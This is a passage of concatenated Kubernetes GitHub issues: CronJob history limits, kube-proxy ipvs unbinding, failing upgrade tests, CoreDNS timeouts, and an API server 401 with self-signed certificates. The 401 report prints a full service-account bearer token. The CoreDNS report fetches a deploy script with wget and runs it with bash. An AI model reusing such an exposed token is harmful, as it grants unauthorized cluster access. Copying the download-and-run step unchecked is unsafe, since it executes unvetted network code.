namespace: zeus-dev\r spec:\r   schedule: \  /10        \ \r   failedjobshistorylimit: 1\r   successfuljobshistorylimit: 3\r   jobtemplate:\r     spec:\r       template:\r         spec:\r           restartpolicy: onfailure\r           containers:\r           - name: zeus-cron-checkqueue\r             image: <omitted>\r             imagepullpolicy: always\r             args:  \ command\ , \ processqueue\  \r             <omitting the rest of the container spec for brevity....>\r    \r \r using  kubectl get cronjob -n zeus-dev zeus-cron-checkqueue -o yaml  i get the following yaml:\r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   creationtimestamp: 2018-05-18t21:29:09z\r   name: zeus-cron-checkqueue\r   namespace: zeus-dev\r   resourceversion: \ 4767385\ \r   selflink: /apis/batch/v1beta1/namespaces/zeus-dev/cronjobs/zeus-cron-checkqueue\r   uid: 80808f99-5ae2-11e8-8ca6-0639f21bb3c6\r spec:\r   concurrencypolicy: allow\r   failedjobshistorylimit: 1\r   jobtemplate:\r     metadata:\r       creationtimestamp: null\r     spec:\r       template:\r         metadata:\r           creationtimestamp: null\r         spec:\r           containers:\r           - args:\r             - command\r             - processqueue\r             envfrom:\r             - configmapref:\r                 name: zeus-dev-config\r             image: <omitted>\r             imagepullpolicy: always\r             name: zeus-cron-checkqueue\r             resources: {}\r             terminationmessagepath: /dev/termination-log\r             terminationmessagepolicy: file\r             volumemounts:\r             - mountpath: /var/www/online/current/log\r               name: zeuslog\r           - env:\r             - name: log_group_name\r               valuefrom:\r                 configmapkeyref:\r                   key: cluster-name\r                   name: cluster-info\r             - name: fluentd_conf\r               value: fluentd-zeus.conf\r             - name: aws_region\r               value: us-west-2\r             image: <omitted>\r             imagepullpolicy: ifnotpresent\r             name: fluent-agent\r             resources: {}\r             terminationmessagepath: /dev/termination-log\r             terminationmessagepolicy: file\r             volumemounts:\r             - mountpath: /var/www/online/current/log\r               name: zeuslog\r             - mountpath: /fluentd/etc\r               name: config-volume\r           dnspolicy: clusterfirst\r           restartpolicy: onfailure\r           schedulername: default-scheduler\r           securitycontext: {}\r           terminationgraceperiodseconds: 30\r           volumes:\r           - emptydir: {}\r             name: zeuslog\r           - configmap:\r               defaultmode: 420\r               name: fluentd-config-cronjob\r             name: config-volume\r   schedule: ' /10        '\r   successfuljobshistorylimit: 3\r   suspend: false\r status:\r   active:\r   - apiversion: batch\r     kind: job\r     name: zeus-cron-checkqueue-1526679000\r     namespace: zeus-dev\r     resourceversion: \ 4763140\ \r     uid: a17b7a27-5ae2-11e8-a10c-0ac4c82aa126\r   - apiversion: batch\r     kind: job\r     name: zeus-cron-checkqueue-1526679600\r     namespace: zeus-dev\r     resourceversion: \ 4764474\ \r     uid: 0542c79c-5ae4-11e8-a10c-0ac4c82aa126\r   - apiversion: batch\r     kind: job\r     name: zeus-cron-checkqueue-1526680200\r     namespace: zeus-dev\r     resourceversion: \ 4765397\ \r     uid: 6bfb2867-5ae5-11e8-a10c-0ac4c82aa126\r   - apiversion: batch\r     kind: job\r     name: zeus-cron-checkqueue-1526680800\r     namespace: zeus-dev\r     resourceversion: \ 4766367\ \r     uid: d2acd908-5ae6-11e8-a10c-0ac4c82aa126\r   - apiversion: batch\r     kind: job\r     name: zeus-cron-checkqueue-1526681400\r     namespace: zeus-dev\r     resourceversion: \ 4767384\ \r     uid: 396ddd1d-5ae8-11e8-a10c-0ac4c82aa126\r   lastscheduletime: 2018-05-18t22:10:00z\r    \r \r you can see that 5 jobs have been retained, which exceeds the specified limit of 3.  \r \r   anything else we need to know?  :\r querying one of the jobs with  kubectl get -n zeus-dev job zeus-cron-checkqueue-1526679000 -o yaml  gives me:\r \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   creationtimestamp: 2018-05-18t21:30:05z\r   labels:\r     controller-uid: a17b7a27-5ae2-11e8-a10c-0ac4c82aa126\r     job-name: zeus-cron-checkqueue-1526679000\r   name: zeus-cron-checkqueue-1526679000\r   namespace: zeus-dev\r   ownerreferences:\r   - apiversion: batch/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: cronjob\r     name: zeus-cron-checkqueue\r     uid: 80808f99-5ae2-11e8-8ca6-0639f21bb3c6\r   resourceversion: \ 4763144\ \r   selflink: /apis/batch/v1/namespaces/zeus-dev/jobs/zeus-cron-checkqueue-1526679000\r   uid: a17b7a27-5ae2-11e8-a10c-0ac4c82aa126\r spec:\r   backofflimit: 6\r   completions: 1\r   parallelism: 1\r   selector:\r     matchlabels:\r       controller-uid: a17b7a27-5ae2-11e8-a10c-0ac4c82aa126\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         controller-uid: a17b7a27-5ae2-11e8-a10c-0ac4c82aa126\r         job-name: zeus-cron-checkqueue-1526679000\r     spec:\r       containers:\r       - args:\r         - command\r         - processqueue\r         envfrom:\r         - configmapref:\r             name: zeus-dev-config\r         image: <omitted>\r         imagepullpolicy: always\r         name: zeus-cron-checkqueue\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /var/www/online/current/log\r           name: zeuslog\r       - env:\r         - name: log_group_name\r           valuefrom:\r             configmapkeyref:\r               key: cluster-name\r               name: cluster-info\r         - name: fluentd_conf\r           value: fluentd-zeus.conf\r         - name: aws_region\r           value: us-west-2\r         image: <omitted>\r         imagepullpolicy: ifnotpresent\r         name: fluent-agent\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /var/www/online/current/log\r           name: zeuslog\r         - mountpath: /fluentd/etc\r           name: config-volume\r       dnspolicy: clusterfirst\r       restartpolicy: never\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - emptydir: {}\r         name: zeuslog\r       - configmap:\r           defaultmode: 420\r           name: fluentd-config-cronjob\r         name: config-volume\r status:\r   active: 1\r   starttime: 2018-05-18t21:30:05z\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r debian gnu/linux 9  stretch \r \r - kernel  e.g.  uname -a  :\r  linux ip-172-31-1-84 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux \r \r - install tools:\r kops 1.9.0\r \r - others:\r i am deploying the cronjon as part of a helm chart.

failing job\r    gce-1.10-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel \r    gke-gci-1.10-gci-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-parallel \r \r    failing test\r     sig-cli  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/5061 sig-cli-kubectl-client-k8sio-kubectl-run---rm-job-should-create-a-job-from-an-image-then-delete-the-job-conformance \r     sig-cli  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/5061 sig-cli-kubectl-client-k8sio-update-demo-should-create-and-stop-a-replication-controller-conformance \r     sig-cli  kubectl client  k8s.io  update demo should scale a replication controller  conformance   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/5061 sig-cli-kubectl-client-k8sio-update-demo-should-scale-a-replication-controller-conformance \r \r triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=cli&job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel&test=kubectl%20client\r \r this test started failing consistently in the upgrade jobs since 5/21 evening.\r \r  / /  /milestone v1.11\r @kubernetes/sig-cli-bugs \r \r cc @jberkus @tpepper\r \r /assign @liggitt \r \r @liggitt we are seeing consistent kubectl failures in sig-release-master-upgrade jobs. can you please triage this as  let us know if we can resolve it by code freeze  6/5 ?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r   what happened  :\r in kube-proxy ipvs mode, for every round of sync, kube-proxy will clean legacy service, and unbind legacy address from kube-ipvs0.  \r but if there is a multi-port service, e.g\r    \r name         cluster-ip      external-ip   port s                       age       selector\r nginx        10.103.82.170   <nodes>       443:30393/tcp,80:30515/tcp   31m       app=nginx\r \r    \r and we update this service to a single-port service, e.g\r    \r name         cluster-ip      external-ip   port s         age       selector\r nginx        10.103.82.170   <nodes>       80:30515/tcp   6s        app=nginx\r \r    \r \r we will see address  10.103.82.170  unbind from kube-ipvs0, because in function  cleanlegacyservice , we delete service  nginx:443:tcp  and unbind service ip  10.103.82.170  at the same time.  \r this is unexpected!\r \r \r   what you expected to happen  :\r \r should not unbind service address when update a multi-port service\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r to effectively reproduce it, we need to set two kube-proxy flags as an appropriate number. e.g\r    \r --ipvs-min-sync-period=2m\r --ipvs-sync-period=5m\r    \r because kube-proxy could resync very quickly  30s by default ,  service address could bind in the next round of sync\r \r 1. create a service with multi-port\r    \r name         cluster-ip      external-ip   port s                       age       selector\r nginx        10.103.82.170   <nodes>       443:30393/tcp,80:30515/tcp   31m       app=nginx\r \r    \r 2. check ipvs and ip addr status\r    \r $ ipvsadm -ln | grep 10.103.82.170\r tcp  10.103.82.170:80 rr\r tcp  10.103.82.170:443 rr\r \r $ ip addr show kube-ipvs0 | grep 10.103.82.170\r     inet 10.103.82.170/32 brd 10.103.82.170 scope global kube-ipvs0\r \r    \r 3. update service to single-port\r    \r name         cluster-ip      external-ip   port s         age       selector\r nginx        10.103.82.170   <nodes>       80:30515/tcp   6s        app=nginx\r    \r \r 4. check ipvs and ip addr status, will see service  nginx:443:tcp  deleted from ipvs, but address  10.103.82.170  also unbound\r    \r $ ipvsadm -ln | grep 10.103.82.170\r tcp  10.103.82.170:80 rr\r \r $ ip addr show kube-ipvs0 | grep 10.103.82.170\r    \r \r   anything else we need to know?  :\r \r the point of the issue is: if a service has two ports, ipvs will think there are two services. but they share the same clusterip.  \r so, we could not directly unbind clusterip after clean legacy ipvs service.  \r a fix solution is like  cleanlegacyservice , we use an  activebindaddrs  map and a  currentbindaddr  map. and unbind address which is in  currentbindaddr  map but not active\r \r   environment  :\r - kubernetes version  use  kubectl version  : newest\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  : 4.4.0-62-generic\r - install tools:\r - others:\r \r  /area kube-proxy\r

rackspace support has not ben updated in a few months. cluster/rackspace/cloud-config/minion-cloud-config.yaml is using etcd_servers for kubelet and kube-proxy, but support for them has been removed since v0.9, i think.  i'll remove it in a few days if no-one makes a counter-offer to get the config working with latest release.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    ci-kubernetes-e2e-gke-cos-k8sbeta-default  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-default/9702 \r    ci-kubernetes-e2e-gke-cos-k8sbeta-reboot  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-reboot/9068 \r    ci-kubernetes-e2e-gke-cos-k8sbeta-serial  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-serial/2119 \r    ci-kubernetes-e2e-gke-cos-k8sbeta-slow  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-slow/9686 \r    ci-kubernetes-e2e-gke-cos-k8sbeta-ingress  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-ingress/6846 \r \r   which test s  are failing  :\r  up \r \r   since when has it been failing  :\r it has been consistently failing since 3/6, flaking a lot before that. failure coincides with  kubernetes/kubernetes/compare/7f8d874db...d4fa3c164  https://github.com/kubernetes/kubernetes/compare/7f8d874db...d4fa3c164 .\r \r   testgrid link  :\r    https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default \r    https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-reboot  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-reboot \r    https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-serial  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-serial \r    https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-slow  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-slow \r   https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-ingress  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-ingress \r \r   reason for failure  :\r \r    \r w0307 19:22:38.596  2019/03/07 19:22:38 process.go:153: running: gcloud container clusters create --quiet --addons=httploadbalancing,horizontalpodautoscaling,kubernetesdashboard --project=k8s-jkns-e2e-gci-gke-ci-flaky --zone=us-west1-b --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=test-ff924dde89 --cluster-version=1.14.0-beta.1.562+88812c559deec4 test-ff924dde89\r w0307 19:22:39.884  warning: starting in 1.12, new clusters will have basic authentication disabled by default. basic authentication can be enabled  or disabled  manually using the  -- no- enable-basic-auth  flag.\r w0307 19:22:39.886  warning: starting in 1.12, new clusters will not have a client certificate issued. you can manually enable  or disable  the issuance of the client certificate using the  -- no- issue-client-certificate  flag.\r w0307 19:22:39.887  warning: currently vpc-native is not the default mode during cluster creation. in the future, this will become the default mode and can be disabled using  --no-enable-ip-alias  flag. use  -- no- enable-ip-alias  flag to suppress this warning.\r w0307 19:22:39.888  warning: starting in 1.12, default node pools in new clusters will have their legacy compute engine instance metadata endpoints disabled by default. to create a cluster with legacy instance metadata endpoints disabled in the default node pool, run  clusters create  with the flag  --metadata disable-legacy-endpoints=true .\r w0307 19:22:39.889  this will disable the autorepair feature for nodes. please see https://cloud.google.com/kubernetes-engine/docs/node-auto-repair for more information on node autorepairs.\r w0307 19:22:39.892  warning: starting in kubernetes v1.10, new clusters will no longer get compute-rw and storage-ro scopes added to what is specified in --scopes  though the latter will remain included in the default --scopes . to use these scopes, add them explicitly to --scopes. to use the new behavior, set container/new_scopes_behavior property  gcloud config set container/new_scopes_behavior true .\r w0307 19:22:42.789  creating cluster test-ff924dde89 in us-west1-b...\r w0307 19:39:45.711  .......................................................................................................................................................................................................done.\r w0307 19:39:45.773  error:  gcloud.container.clusters.create  operation  <operation\r    \r cc @mortent @kacole2 @mariantalla @smourapina\r \r   / /milestone v1.14\r 

pr  7974 adds  localreference , a subset of  objectreference , which has been agreed to as the long-term way to refer to objects in the same namespace as another object.  this issue is to go through and refactor references to objects by name to this new type: - secret name - host name  @bgrant0607 @smarterclayton @derekwaynecarr

hi,\r i am trying to talk to master via https using self signed certs, but i am getting the following error:\r \r    \r $ curl -v --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -h \ authorization: bearer $token\  https://kubernetes\r    \r \r    \r   rebuilt url to: https://kubernetes/\r   hostname was not found in dns cache\r     trying 10.254.0.1...\r   connected to kubernetes  10.254.0.1  port 443   0 \r   successfully set certificate verify locations:\r     cafile: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\r   capath: /etc/ssl/certs\r   sslv3, tls handshake, client hello  1 :\r   sslv3, tls handshake, server hello  2 :\r   sslv3, tls handshake, cert  11 :\r   sslv3, tls handshake, server key exchange  12 :\r   sslv3, tls handshake, request cert  13 :\r   sslv3, tls handshake, server finished  14 :\r   sslv3, tls handshake, cert  11 :\r   sslv3, tls handshake, client key exchange  16 :\r   sslv3, tls change cipher, client hello  1 :\r   sslv3, tls handshake, finished  20 :\r   sslv3, tls change cipher, client hello  1 :\r   sslv3, tls handshake, finished  20 :\r   ssl connection using ecdhe-rsa-aes128-gcm-sha256\r   server certificate:\r          subject: cn=kubernetes\r          start date: 2017-06-21 12:11:49 gmt\r          expire date: 2044-11-06 12:11:49 gmt\r          common name: kubernetes  matched \r          issuer: cn=pippo.com\r          ssl certificate verify ok.\r > get / http/1.1\r > user-agent: curl/7.35.0\r > host: kubernetes\r > accept:  / \r > authorization: bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijkzwzhdwx0iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzwnyzxqubmftzsi6imrlzmf1bhqtdg9rzw4tynznyzmilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc5uyw1lijoizgvmyxvsdcisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6iju4nwq5otkxlti1zgytmtflny04yje3lta4mdayn2zlzmi4myisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddpkzwzhdwx0omrlzmf1bhqifq.vkcg-x2wkihzhsfnopln_ed3ij5n81aqkmcguufzfyvwo_6po1eizybhoznfunoed0qzua8algmvdvfxjmnf70256l6nvrka4dbxoycudw5js_ft9b5m3eoppmtxpu6vpliezoxiyv4vcycccaidh19mdpimy5esc6sxrvgb-aw3dzpxl5krtu6ot7yquz5wajqlfp7g8rkuj87oucnp5r1q6tuo9llmvfpp3hb2nakc6df5julzzrhkr_6necbgo32rdwx_pewdseurytumqibdkjleqrz_tarid49mfa_5zcs2ynfm9qtz9lwz7aekhaffux642fbncqhucg9ynw\r >\r < http/1.1 401 unauthorized\r < content-type: text/plain; charset=utf-8\r < x-content-type-options: nosniff\r < date: wed, 21 jun 2017 14:33:17 gmt\r < content-length: 13\r <\r unauthorized\r   connection  0 to host kubernetes left intact\r    \r \r \r the certificate was verified and it's ok. the token was provided automatically by kubernetes. nevertheless i receive the response \ 401 unauthorized\ . i have the same response even if i use the --insecure parameter.\r \r command to generate the certs:\r \r    \r openssl genrsa -out /srv/kubernetes/ca.key 4096\r openssl req -x509 -new -nodes -key /srv/kubernetes/ca.key -subj \ /cn=pippo.com\  -days 10000 -out /srv/kubernetes/ca.crt\r openssl genrsa -out /srv/kubernetes/server.key 2048\r openssl req -new -key /srv/kubernetes/server.key -subj \ /cn=kubernetes\  -out /srv/kubernetes/server.csr\r openssl x509 -req -in /srv/kubernetes/server.csr -ca /srv/kubernetes/ca.crt -cakey /srv/kubernetes/ca.key -cacreateserial -out /srv/kubernetes/server.crt -days 10000\r    \r the /etc/kubernetes/apiserver arguments are:\r \r    \r kube_api_args=\ --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.crt --tls-private-key-file=/srv/kubernetes/server.key\ \r    \r the /etc/kubernetes/controller-manager arguments are:\r \r    \r kube_controller_manager_args=\ --root-ca-file=/srv/kubernetes/ca.crt --service-account-private-key-file=/srv/kubernetes/server.key\ \r    \r do you have any ideas ?\r \r thank you\r \r @kubernetes/sig-auth-misc\r

/cc @kubernetes/sig-apps-bugs \r \r this test is failing on several of the 1.7 to master upgrade tests\r \r https://k8s-testgrid.appspot.com/master-upgrade gke-cvm-1.7-cvm-master-upgrade-cluster-new\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-cvm-master-upgrade-cluster-new\r \r example failure\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-new-cvm-master-upgrade-cluster-new/133 sig-apps-statefulset-k8sio-basic-statefulset-functionality-statefulsetbasic-should-have-a-working-scale-subresource\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:881\r aug 16 08:04:23.109: failed to get scale subresource: the server could not find the requested resource\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:861\r    \r \r maybe just an issue with the resource being enabled?\r \r cc @kubernetes/release-maintainers @mbohlool

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r  >  \r \r   what happened  :\r upgrade 1.5->1.6. untagged nodes get deleted on kubelet restart. fortunately, most of my cluster was still tagged with kubernetescluster  now deprecated .\r \r   what you expected to happen  :\r didn't expect this - it's not mentioned in the changelog.md as a breaking change. in 1.5, untagged nodes were okay.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to start kubelet on a node that doesn't have  kubernetescluster  or  kubernetes.io/cluster  tag. kubelet will register itself, followed by node-controller deleting it a few seconds later since externalid method from aws.go returns nil due to lack of a tag. kubelet gets very confused since it thinks it's registered, but all subsequent apiserver calls on itself return 404.\r \r   anything else we need to know?  :\r i don't think this is broken per se, we just need to document it and mention it as a breaking change. i think tagged nodes were always expected/required.\r \r although, node-controller should probably not delete a node shortly after startup before it can go ready. it should respect grace period when checking the cloudprovider node status.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.8\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the staging repo publishing bot https://github.com/kubernetes/test-infra/tree/master/mungegithub/publisher is broken since beginning of august. meanwhile, i have worked on https://github.com/kubernetes/test-infra/pull/4134 to update our publishing algorithm for a number of reasons, the most important:\r \r - handling of merges on our branches\r - automatic tagging of repos\r - preparation for golang/dep\r \r compare https://docs.google.com/document/d/1y0mwank9s6xzy83wz689o6q1v-khxs2j0wijpbb0sso/edit?usp=sharing for a longer write-up of the rational.\r \r while the pr needs proper review and probably a rewrite of parts using go-git, @caesarxuchao and i decided to go forward with a manual push of the output of that pr in order to unblock people who rely on our published repos. intentionally, this should be push  not single prs  because prs drop  empty  merge commits which are essential for our ability to automatically tag.\r \r throughout the day, i have tested the branches as far as i can do that manually:\r - by vendoring k8s.io/kuber-aggregator and its dependencies apimachinery, api, client-go and apiserver \r - and compiling kube-aggregator.\r \r this should have smoke tested a big number of packages. all looks fine so far.\r \r hence,   i propose to do a push of my forks to the corresponding  github.com/kubernetes/   repos  .\r \r   all branches are clean fast-forward branches    with the exception of k8s.io/metrics , i.e. no force-push is necessary. so just in case, we can easily revert to the old state. the repo  k8s.io/metrics  was not under control of our publisher bot before. to keep the old history, i propose to rename the  master  branch to  legacy . then projects vendoring it using a sha1  e.g. in godeps  will continue to work.\r \r these are forked repos and branches:\r \r - https://github.com/sttts/sample-apiserver: master, release-1.6, release-1.7 |\r - https://github.com/sttts/kube-aggregator: master, release-1.6, release-1.7\r - https://github.com/sttts/apiserver: master, release-1.6, release-1.7\r - https://github.com/sttts/client-go: master, release-3.0, release-4.0\r - https://github.com/sttts/api: master\r - https://github.com/sttts/apimachinery: master, release-1.6, release-1.7\r - https://github.com/sttts/metrics: master, release-1.7\r - https://github.com/sttts/apiextensions-apiserver: master, release-1.7\r \r   here is a script to do the push effectively  : https://gist.github.com/anonymous/0db2c5b10dce604acb712964aef37eea\r \r closes https://github.com/kubernetes/test-infra/issues/4080

the dockervalidator in https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/system/docker_validator.go which is used by kubeadm preflights checks is using the docker api directly. with kubernetes/kubernetes 55055 we're moving dockerisms to use crictl and the cri. the dockervalidator should use crictl to gather docker version via the cri version endpoint. however, the cri isn't exposing the docker graphdriver  hence the need for an issue to track . we need to understand if and how those additional info are to be exported by the cri.\r \r /cc @luxas @random-liu @feiskyer

failing release-blocking suites:\r -  x  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness\r -  x  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-100\r -  x  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-performance\r \r all three suites are flaking a lot recently, mind triage?\r \r  /  /status approved-for-milestone\r \r cc @jdumars @jberkus \r /assign @shyamjvs @wojtek-t

i use kubernetes v12, my system is ubuntu 16.  \r \r   i use the followed command to create dns resource.  \r \r    \r wget https://raw.githubusercontent.com/coredns/deployment/master/kubernetes/coredns.yaml.sed\r \r wget https://raw.githubusercontent.com/coredns/deployment/master/kubernetes/deploy.sh\r bash deploy.sh -i 10.32.0.10 -r \ 10.32.0.0/24\  -s -t coredns.yaml.sed | kubectl apply -f -\r    \r \r after created coredns resource: i check the resources status.\r \r 1. check coredns service\r    \r root@master:~  kubectl get svc -n kube-system\r name           type        cluster-ip   external-ip   port s     age\r calico-typha   clusterip   10.32.0.10   <none>        5473/tcp   13h\r    \r \r 2. check code dns pod endpoints\r    \r root@master:~  kubectl get ep -n kube-system\r name                      endpoints   age\r calico-typha              <none>      13h\r kube-controller-manager   <none>      18d\r kube-scheduler            <none>      18d\r    \r \r 3. my dns config:\r \r    \r root@master:~  cat /etc/resolv.conf\r nameserver 183.60.83.19\r nameserver 183.60.82.98\r    \r \r 4. check coredns pod logs\r \r    \r root@master:~  kubectl get po -n kube-system | grep coredns-7bbd44c489-5thlj\r coredns-7bbd44c489-5thlj   1/1     running   0          13h\r root@master:~ \r root@master:~  kubectl logs -n kube-system pod/coredns-7bbd44c489-5thlj\r .:53\r 2019-03-16t01:37:14.661z  info  coredns-1.2.6\r 2019-03-16t01:37:14.661z  info  linux/amd64, go1.11.2, 756749c\r coredns-1.2.6\r linux/amd64, go1.11.2, 756749c\r   info  plugin/reload: running configuration md5 = 2e2180a5eeb3ebf92a5100ab081a6381\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:45913->183.60.83.19:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:42500->183.60.82.98:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:48341->183.60.82.98:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:33007->183.60.83.19:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:52968->183.60.82.98:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:48992->183.60.82.98:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:35016->183.60.83.19:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:58058->183.60.82.98:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:51709->183.60.83.19:53: i/o timeout\r   error  plugin/errors: 2 526217177044940556.1623766979909084596. hinfo: unreachable backend: read udp 10.200.0.93:53889->183.60.82.98:53: i/o timeout\r root@master:~ \r    \r \r i found   coredns pod ip   cannot connected to   node dns server ip address  .\r

for hpa, density, load, and other types of long running tests that may not run in ci, we should allow this directive in the comment dialogue.  otherwise the only alternative is users spinning a cluster and manually running the extended tests/pasting the results.   cc @kubernetes/sig-testing  @kubernetes/sig-scalability

hi, we are running a kubernetes 1.2.4 cluster on gce. today a node got terminated for maintenance. the node came back up and was ready. but the issue was that there were some pods running with pv mounted. when the node came back up, it had the gce disks attached to it but the pod restarted  running with rc replica=1 . since the disks were already attached, pods could not start. in the operation page, i see failed operations with status \ resource_in_use_by_another_resource \ .  ideally kubelet/controller should see that disks are already attached and just start the pod, or detach and reattach the disk. how do we handle situation like this? it has happened at least 3 times in the last 6 months.  thanks.

looks like the current  implementation is strictly \ pod contains containers\ .  there are many situations that ends up running  just 1 container per pod.   i would certainly like to see a mode \ pod as a container\    a la docker  .  \r

